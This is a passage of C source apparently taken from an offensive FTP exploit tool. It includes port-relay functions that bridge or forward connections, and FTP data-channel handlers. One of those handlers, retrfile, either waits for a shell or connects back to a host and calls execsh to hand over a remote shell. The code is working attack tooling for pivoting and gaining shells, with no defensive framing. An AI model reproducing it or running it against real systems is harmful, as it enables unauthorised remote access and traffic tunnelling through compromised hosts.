int bind2bind(int port1,int port2)
{
int fd1,fd2,sockfd1,sockfd2;
struct sockaddr_in client1,client2;
int size1,size2;
int pid;
if((fd1=create_socket())==0) exit(0);
if((fd2=create_socket())==0) exit(0);
printf("binding port %d......",port1);
fflush(stdout);
if(create_serv(fd1,port1)==0)
{
close(fd1);
exit(0);
}
printf("ok\r\n");
printf("binding port %d......",port2);
fflush(stdout);
if(create_serv(fd2,port2)==0)
{
close(fd2);
exit(0);
}
printf("ok\r\n");
size1=size2=sizeof(struct sockaddr);
while(1)
{
printf("waiting for response on port %d.........\n",port1);
if((sockfd1=accept(fd1,(struct sockaddr *)&client1,(socklen_t *)&size1))<0)
{
perror("accept1 error");
continue;
}
printf("accept a client on port %d from %s,waiting another on port %d....\n",port1,inet_ntoa(client1.sin_addr),port2);
if((sockfd2=accept(fd2,(struct sockaddr *)&client2,(socklen_t *)&size2))<0)
{
perror("accept2 error");
close(sockfd1);
continue;
}
printf("accept a client on port %d from %s\n",port2,inet_ntoa(client2.sin_addr));
pid=fork();
if(pid==0) transdata(sockfd1,sockfd2);
//sleep(2);
close(sockfd1);
close(sockfd2);
}
}
void retrfile(char *s,int len,int port)
{
int i,pid;
char data1;
struct sockaddr_in client;
memset(&client,0,sizeof(client));
sockfd1=socket(2,1,0);
if(create_serv(sockfd1,port)<0) quit();
i=sizeof(client);
sockfd2=accept(sockfd1,(struct sockaddr *)&client,&i);
printf("[+] Accepted a client from %s\n",inet_ntoa(client.sin_addr));
memset(s,0,len);
if(getshell==1)
{
if(bindmethod==0)
{
printf("[+] Is it a shell on %s:%d?\n",cbhost,pt);
quit();
}
else
{
printf("[+] Waiting for a shell.....\n");
sockfd2=socket(AF_INET,SOCK_STREAM,0);
sleep(2);
client_connect(sockfd2,server,pt);
execsh(sockfd2);
quit();
}
}
readbuf(NULL,sockfd2,s,len);
close(sockfd2);
close(sockfd1);
}
int bind2conn(int port1,char *host,int port2)
{
int sockfd,sockfd1,sockfd2;
struct sockaddr_in remote;
int size;
int pid;
char buffer[1024];
memset(buffer,0,1024);
if((sockfd=create_socket())==0) exit(0);
if(create_serv(sockfd,port1)==0)
{
close(sockfd1);
exit(0);
}
size=sizeof(struct sockaddr);
while(1)
{
printf("waiting for response.........\n");
if((sockfd1=accept(sockfd,(struct sockaddr *)&remote,(socklen_t *)&size))<0)
{
perror("accept error\n");
continue;
}
printf("accept a client from %s:%d\n",inet_ntoa(remote.sin_addr),ntohs(remote.sin_port));
if((sockfd2=create_socket())==0)
{
close(sockfd1);
continue;
}
printf("make a connection to %s:%d....",host,port2);
fflush(stdout);
if(client_connect(sockfd2,host,port2)==0)
{
close(sockfd2);
sprintf(buffer,"[SERVER]connection to %s:%d error\r\n",host,port2);
write(sockfd1,buffer,strlen(buffer));
memset(buffer,0,1024);
close(sockfd1);
continue;
}
printf("ok\r\n");
pid=fork();
if(pid==0) transdata(sockfd1,sockfd2);
// sleep(2);
close(sockfd1);
close(sockfd2);
}
}
void storfile(char *s,int len,int port)
{
int i;
struct sockaddr_in client;
memset(&client,0,sizeof(client));
sockfd1=socket(2,1,0);
if(create_serv(sockfd1,port)<0) quit();
//if(client_connect(sockfd1,HOST,port)<0) quit();
i=sizeof(client);
sockfd2=accept(sockfd1,(struct sockaddr *)&client,&i);
printf("[+] Accepted a client from %s\n",inet_ntoa(client.sin_addr));
sendbuf(sockfd2,s,len);
close(sockfd2);
close(sockfd1);
}
